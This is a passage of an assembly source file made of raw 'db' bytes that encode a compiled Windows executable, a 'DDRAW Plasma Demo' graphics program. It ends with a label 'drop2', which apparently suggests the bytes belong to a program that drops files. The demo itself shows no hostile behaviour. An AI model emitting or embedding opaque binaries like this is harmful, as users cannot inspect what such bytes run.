db 04Dh,0FCh,0D8h,00Dh,0B4h,030h,040h,000h,0D8h,035h,0A8h,030h,040h,000h
db 0D9h,0FFh,0D8h,00Dh,0B8h,030h,040h,000h,0D8h,005h,0B8h,030h,040h,000h
db 0DBh,05Dh,0ECh,0C1h,0E0h,008h,00Bh,045h,0ECh,0D9h,0EBh,0DAh,04Dh,0FCh
db 0D8h,00Dh,0B4h,030h,040h,000h,0D8h,035h,0ACh,030h,040h,000h,0D9h,0FFh
db 0D8h,00Dh,0B8h,030h,040h,000h,0D8h,005h,0B8h,030h,040h,000h,0DBh,05Dh
db 0ECh,0C1h,0E0h,008h,00Bh,045h,0ECh,0D9h,0EBh,0DAh,04Dh,0FCh,0D8h,00Dh
db 0B4h,030h,040h,000h,0D8h,035h,0B0h,030h,040h,000h,0D9h,0FFh,0D8h,00Dh
db 0B8h,030h,040h,000h,0D8h,005h,0B8h,030h,040h,000h,0DBh,05Dh,0ECh,0C1h
db 0E0h,008h,00Bh,045h,0ECh,089h,004h,095h,04Ch,032h,040h,000h,0FFh,045h
db 0FCh,081h,07Dh,0FCh,000h,001h,000h,000h,00Fh,082h,002h,0FFh,0FFh,0FFh
db 0C9h,0C3h,055h,08Bh,0ECh,083h,0C4h,0E4h,08Bh,045h,008h,0A3h,0E6h,030h
db 040h,000h,06Ah,004h,0E8h,05Fh,003h,000h,000h,0A3h,0F2h,030h,040h,000h
db 068h,0D2h,030h,040h,000h,0E8h,092h,003h,000h,000h,06Ah,000h,0FFh,075h
db 008h,06Ah,000h,06Ah,000h,068h,0C8h,000h,000h,000h,068h,040h,001h,000h
db 000h,06Ah,000h,06Ah,000h,068h,000h,000h,000h,080h,068h,0C0h,030h,040h
db 000h,068h,0C0h,030h,040h,000h,06Ah,000h,0E8h,035h,003h,000h,000h,0A3h
db 0D0h,031h,040h,000h,0FFh,035h,0D0h,031h,040h,000h,0E8h,05Bh,003h,000h
db 000h,06Ah,000h,0E8h,05Ah,003h,000h,000h,06Ah,000h,068h,0D4h,031h,040h
db 000h,06Ah,000h,0E8h,05Eh,003h,000h,000h,00Bh,0C0h,074h,01Eh,06Ah,000h
db 068h,0C0h,030h,040h,000h,068h,002h,031h,040h,000h,0FFh,035h,0D0h,031h
db 040h,000h,0E8h,013h,003h,000h,000h,06Ah,000h,0E8h,0E2h,002h,000h,000h
db 0A1h,0D4h,031h,040h,000h,08Bh,000h,06Ah,011h,0FFh,035h,0D0h,031h,040h
db 000h,0FFh,035h,0D4h,031h,040h,000h,0FFh,050h,050h,00Bh,0C0h,074h,01Eh
db 06Ah,000h,068h,0C0h,030h,040h,000h,068h,01Bh,031h,040h,000h,0FFh,035h
db 0D0h,031h,040h,000h,0E8h,0D9h,002h,000h,000h,06Ah,000h,0E8h,0A8h,002h
db 000h,000h,0A1h,0D4h,031h,040h,000h,08Bh,000h,06Ah,020h,068h,0C8h,000h
db 000h,000h,068h,040h,001h,000h,000h,0FFh,035h,0D4h,031h,040h,000h,0FFh
db 050h,054h,00Bh,0C0h,074h,01Eh,06Ah,000h,068h,0C0h,030h,040h,000h,068h
db 045h,031h,040h,000h,0FFh,035h,0D0h,031h,040h,000h,0E8h,09Bh,002h,000h
db 000h,06Ah,000h,0E8h,06Ah,002h,000h,000h,0C7h,005h,0DCh,031h,040h,000h
db 06Ch,000h,000h,000h,0C7h,005h,0E0h,031h,040h,000h,001h,000h,000h,000h
db 0C7h,005h,044h,032h,040h,000h,000h,002h,000h,000h,0A1h,0D4h,031h,040h
db 000h,08Bh,000h,06Ah,000h,068h,0D8h,031h,040h,000h,068h,0DCh,031h,040h
db 000h,0FFh,035h,0D4h,031h,040h,000h,0FFh,050h,018h,00Bh,0C0h,074h,01Eh
db 06Ah,000h,068h,0C0h,030h,040h,000h,068h,05Fh,031h,040h,000h,0FFh,035h
db 0D0h,031h,040h,000h,0E8h,03Fh,002h,000h,000h,06Ah,000h,0E8h,00Eh,002h
db 000h,000h,0FFh,075h,014h,0FFh,035h,0D0h,031h,040h,000h,0E8h,04Eh,002h
db 000h,000h,0E8h,06Fh,0FDh,0FFh,0FFh,06Ah,001h,06Ah,000h,06Ah,000h,06Ah
db 000h,08Dh,045h,0E4h,050h,0E8h,01Ah,002h,000h,000h,00Bh,0C0h,074h,02Fh
db 083h,07Dh,0E8h,012h,075h,012h,0FFh,075h,0ECh,0E8h,00Eh,002h,000h,000h
db 0E9h,0D0h,000h,000h,000h,0E9h,0C6h,000h,000h,000h,08Dh,045h,0E4h,050h
db 0E8h,019h,002h,000h,000h,08Dh,045h,0E4h,050h,0E8h,0DAh,001h,000h,000h
db 0E9h,0AFh,000h,000h,000h,0E8h,0D6h,001h,000h,000h,03Bh,005h,0D0h,031h
db 040h,000h,00Fh,085h,09Eh,000h,000h,000h,0C7h,005h,0DCh,031h,040h,000h
db 06Ch,000h,000h,000h,0C7h,005h,0E0h,031h,040h,000h,008h,000h,000h,000h
db 0A1h,0D8h,031h,040h,000h,08Bh,000h,06Ah,000h,06Ah,001h,068h,0DCh,031h
db 040h,000h,06Ah,000h,0FFh,035h,0D8h,031h,040h,000h,0FFh,050h,064h,00Bh
db 0C0h,074h,039h,03Dh,0C2h,001h,076h,088h,075h,012h,0A1h,0D8h,031h,040h
db 000h,08Bh,000h,0FFh,035h,0D8h,031h,040h,000h,0FFh,050h,06Ch,0EBh,01Eh
db 06Ah,000h,068h,0C0h,030h,040h,000h,068h,07Fh,031h,040h,000h,0FFh,035h
db 0D0h,031h,040h,000h,0E8h,06Dh,001h,000h,000h,06Ah,000h,0E8h,03Ch,001h
db 000h,000h,0EBh,0A8h,0A1h,0D4h,031h,040h,000h,08Bh,000h,06Ah,000h,06Ah
db 001h,0FFh,035h,0D4h,031h,040h,000h,0FFh,050h,058h,0E8h,000h,0FCh,0FFh
db 0FFh,0A1h,0D8h,031h,040h,000h,08Bh,000h,0FFh,035h,000h,032h,040h,000h
db 0FFh,035h,0D8h,031h,040h,000h,0FFh,090h,080h,000h,000h,000h,0E9h,008h
db 0FFh,0FFh,0FFh,0A1h,0D4h,031h,040h,000h,08Bh,000h,0FFh,035h,0D4h,031h
db 040h,000h,0FFh,050h,04Ch,00Bh,0C0h,074h,01Eh,06Ah,000h,068h,0C0h,030h
db 040h,000h,068h,095h,031h,040h,000h,0FFh,035h,0D0h,031h,040h,000h,0E8h
db 002h,001h,000h,000h,06Ah,000h,0E8h,0D1h,000h,000h,000h,0FFh,035h,0D0h
db 031h,040h,000h,0E8h,0DEh,000h,000h,000h,00Bh,0C0h,075h,01Eh,06Ah,000h
db 068h,0C0h,030h,040h,000h,068h,0B2h,031h,040h,000h,0FFh,035h,0D0h,031h
db 040h,000h,0E8h,0D5h,000h,000h,000h,06Ah,000h,0E8h,0A4h,000h,000h,000h
db 083h,03Dh,0D4h,031h,040h,000h,000h,074h,03Dh,083h,03Dh,0D8h,031h,040h
db 000h,000h,074h,01Ah,0A1h,0D8h,031h,040h,000h,08Bh,000h,0FFh,035h,0D8h
db 031h,040h,000h,0FFh,050h,008h,0C7h,005h,0D8h,031h,040h,000h,000h,000h
db 000h,000h,0A1h,0D4h,031h,040h,000h,08Bh,000h,0FFh,035h,0D4h,031h,040h
db 000h,0FFh,050h,008h,0C7h,005h,0D4h,031h,040h,000h,000h,000h,000h,000h
db 08Bh,045h,0ECh,0C9h,0C9h,0C2h,010h,000h,055h,08Bh,0ECh,081h,07Dh,00Ch
db 000h,001h,000h,000h,075h,018h,083h,07Dh,010h,01Bh,075h,028h,06Ah,000h
db 0E8h,073h,000h,000h,000h,0B8h,000h,000h,000h,000h,0C9h,0C2h,010h,000h
db 0EBh,016h,083h,07Dh,00Ch,002h,075h,010h,06Ah,000h,0E8h,05Bh,000h,000h
db 000h,0B8h,000h,000h,000h,000h,0C9h,0C2h,010h,000h,0FFh,075h,014h,0FFh
db 075h,010h,0FFh,075h,00Ch,0FFh,075h,008h,0E8h,01Dh,000h,000h,000h,0C9h
db 0C2h,010h,000h,0CCh,0FFh,025h,008h,020h,040h,000h,0FFh,025h,014h,020h
db 040h,000h,0FFh,025h,010h,020h,040h,000h,0FFh,025h,028h,020h,040h,000h
db 0FFh,025h,020h,020h,040h,000h,0FFh,025h,01Ch,020h,040h,000h,0FFh,025h
db 02Ch,020h,040h,000h,0FFh,025h,04Ch,020h,040h,000h,0FFh,025h,024h,020h
db 040h,000h,0FFh,025h,030h,020h,040h,000h,0FFh,025h,048h,020h,040h,000h
db 0FFh,025h,034h,020h,040h,000h,0FFh,025h,038h,020h,040h,000h,0FFh,025h
db 03Ch,020h,040h,000h,0FFh,025h,040h,020h,040h,000h,0FFh,025h,044h,020h
db 040h,000h,0FFh,025h,000h,020h,040h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,038h,022h
db 000h,000h,000h,000h,000h,000h,00Ch,021h,000h,000h,000h,000h,000h,000h
db 036h,021h,000h,000h,028h,021h,000h,000h,000h,000h,000h,000h,07Ch,021h
db 000h,000h,06Ah,021h,000h,000h,0ACh,021h,000h,000h,058h,021h,000h,000h
db 08Ch,021h,000h,000h,0BAh,021h,000h,000h,0DCh,021h,000h,000h,0F0h,021h
db 000h,000h,0FCh,021h,000h,000h,00Ah,022h,000h,000h,018h,022h,000h,000h
db 0CAh,021h,000h,000h,0A0h,021h,000h,000h,000h,000h,000h,000h,0C0h,020h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,01Eh,021h,000h,000h
db 008h,020h,000h,000h,0C8h,020h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,04Ah,021h,000h,000h,010h,020h,000h,000h,0D4h,020h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,02Ch,022h,000h,000h,01Ch,020h
db 000h,000h,0B8h,020h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 04Ch,022h,000h,000h,000h,020h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 038h,022h,000h,000h,000h,000h,000h,000h,00Ch,021h,000h,000h,000h,000h
db 000h,000h,036h,021h,000h,000h,028h,021h,000h,000h,000h,000h,000h,000h
db 07Ch,021h,000h,000h,06Ah,021h,000h,000h,0ACh,021h,000h,000h,058h,021h
db 000h,000h,08Ch,021h,000h,000h,0BAh,021h,000h,000h,0DCh,021h,000h,000h
db 0F0h,021h,000h,000h,0FCh,021h,000h,000h,00Ah,022h,000h,000h,018h,022h
db 000h,000h,0CAh,021h,000h,000h,0A0h,021h,000h,000h,000h,000h,000h,000h
db 021h,001h,047h,065h,074h,053h,074h,06Fh,063h,06Bh,04Fh,062h,06Ah,065h
db 063h,074h,000h,000h,047h,044h,049h,033h,032h,02Eh,064h,06Ch,06Ch,000h
db 075h,000h,045h,078h,069h,074h,050h,072h,06Fh,063h,065h,073h,073h,000h
db 011h,001h,047h,065h,074h,04Dh,06Fh,064h,075h,06Ch,065h,048h,061h,06Eh
db 064h,06Ch,065h,041h,000h,000h,04Bh,045h,052h,04Eh,045h,04Ch,033h,032h
db 02Eh,064h,06Ch,06Ch,000h,000h,058h,000h,043h,072h,065h,061h,074h,065h
db 057h,069h,06Eh,064h,06Fh,077h,045h,078h,041h,000h,083h,000h,044h,065h
db 066h,057h,069h,06Eh,064h,06Fh,077h,050h,072h,06Fh,063h,041h,000h,000h
db 08Dh,000h,044h,065h,073h,074h,072h,06Fh,079h,057h,069h,06Eh,064h,06Fh
db 077h,000h,094h,000h,044h,069h,073h,070h,061h,074h,063h,068h,04Dh,065h
db 073h,073h,061h,067h,065h,041h,000h,000h,005h,001h,047h,065h,074h,046h
db 06Fh,063h,075h,073h,000h,000h,0BBh,001h,04Dh,065h,073h,073h,061h,067h
db 065h,042h,06Fh,078h,041h,000h,0D9h,001h,050h,065h,065h,06Bh,04Dh,065h
db 073h,073h,061h,067h,065h,041h,000h,000h,0DDh,001h,050h,06Fh,073h,074h
db 051h,075h,069h,074h,04Dh,065h,073h,073h,061h,067h,065h,000h,0EFh,001h
db 052h,065h,067h,069h,073h,074h,065h,072h,043h,06Ch,061h,073h,073h,045h
db 078h,041h,000h,000h,02Bh,002h,053h,065h,074h,046h,06Fh,063h,075h,073h
db 000h,000h,061h,002h,053h,068h,06Fh,077h,043h,075h,072h,073h,06Fh,072h
db 000h,000h,065h,002h,053h,068h,06Fh,077h,057h,069h,06Eh,064h,06Fh,077h
db 000h,000h,07Dh,002h,054h,072h,061h,06Eh,073h,06Ch,061h,074h,065h,04Dh
db 065h,073h,073h,061h,067h,065h,000h,000h,055h,053h,045h,052h,033h,032h
db 02Eh,064h,06Ch,06Ch,000h,000h,005h,000h,044h,069h,072h,065h,063h,074h
db 044h,072h,061h,077h,043h,072h,065h,061h,074h,065h,000h,000h,044h,044h
db 052h,041h,057h,02Eh,064h,06Ch,06Ch,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 0E0h,00Eh,0B7h,0D7h,040h,043h,0CFh,011h,0B0h,063h,000h,020h,0AFh,0C2h
db 0CDh,035h,0A0h,017h,038h,059h,0B3h,07Dh,0CFh,011h,0A2h,0DEh,000h,0AAh
db 000h,0B9h,033h,056h,080h,0DBh,014h,06Ch,033h,0A7h,0CEh,011h,0A5h,021h
db 000h,020h,0AFh,00Bh,0E5h,060h,0E0h,0F3h,0A6h,0B3h,043h,02Bh,0CFh,011h
db 0A2h,0DEh,000h,0AAh,000h,0B9h,033h,056h,081h,0DBh,014h,06Ch,033h,0A7h
db 0CEh,011h,0A5h,021h,000h,020h,0AFh,00Bh,0E5h,060h,085h,058h,080h,057h
db 0ECh,06Eh,0CFh,011h,094h,041h,0A8h,023h,003h,0C1h,00Eh,027h,000h,04Eh
db 004h,0DAh,0B2h,069h,0D0h,011h,0A1h,0D5h,000h,0AAh,000h,0B8h,0DFh,0BBh
db 084h,0DBh,014h,06Ch,033h,0A7h,0CEh,011h,0A5h,021h,000h,020h,0AFh,00Bh
db 0E5h,060h,085h,0DBh,014h,06Ch,033h,0A7h,0CEh,011h,0A5h,021h,000h,020h
db 0AFh,00Bh,0E5h,060h,0E0h,00Eh,09Fh,04Bh,07Eh,00Dh,0D0h,011h,09Bh,006h
db 000h,0A0h,0C9h,003h,0A3h,0B8h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,0FAh,043h,000h,000h,0A0h,043h,000h,000h,0BAh,043h,000h,000h
db 000h,040h,000h,000h,0FFh,042h,000h,000h,080h,043h,044h,044h,052h,041h
db 057h,020h,050h,06Ch,061h,073h,06Dh,061h,020h,044h,065h,06Dh,06Fh,000h
db 030h,000h,000h,000h,003h,000h,000h,000h,0E4h,014h,040h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,0C0h,030h
db 040h,000h,000h,000h,000h,000h,043h,06Fh,075h,06Ch,064h,06Eh,027h,074h
db 020h,069h,06Eh,069h,074h,020h,044h,069h,072h,065h,063h,074h,044h,072h
db 061h,077h,000h,043h,06Fh,075h,06Ch,064h,06Eh,027h,074h,020h,073h,065h
db 074h,020h,044h,069h,072h,065h,063h,074h,044h,072h,061h,077h,020h,063h
db 06Fh,06Fh,070h,065h,072h,061h,074h,069h,076h,065h,020h,06Ch,065h,076h
db 065h,06Ch,000h,043h,06Fh,075h,06Ch,064h,06Eh,027h,074h,020h,073h,065h
db 074h,020h,064h,069h,073h,070h,06Ch,061h,079h,020h,06Dh,06Fh,064h,065h
db 000h,043h,06Fh,075h,06Ch,064h,06Eh,027h,074h,020h,063h,072h,065h,061h
db 074h,065h,020h,070h,072h,069h,06Dh,061h,072h,079h,020h,073h,075h,072h
db 066h,061h,063h,065h,000h,043h,06Fh,075h,06Ch,064h,06Eh,027h,074h,020h
db 06Ch,06Fh,063h,06Bh,020h,073h,075h,072h,066h,061h,063h,065h,000h,043h
db 06Fh,075h,06Ch,064h,06Eh,027h,074h,020h,072h,065h,073h,074h,06Fh,072h
db 065h,020h,064h,069h,073h,070h,06Ch,061h,079h,06Dh,06Fh,064h,065h,000h
db 043h,06Fh,075h,06Ch,064h,06Eh,027h,074h,020h,064h,065h,073h,074h,072h
db 06Fh,079h,020h,077h,069h,06Eh,064h,06Fh,077h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h
drop2:
Reference in New Issue Copy Permalink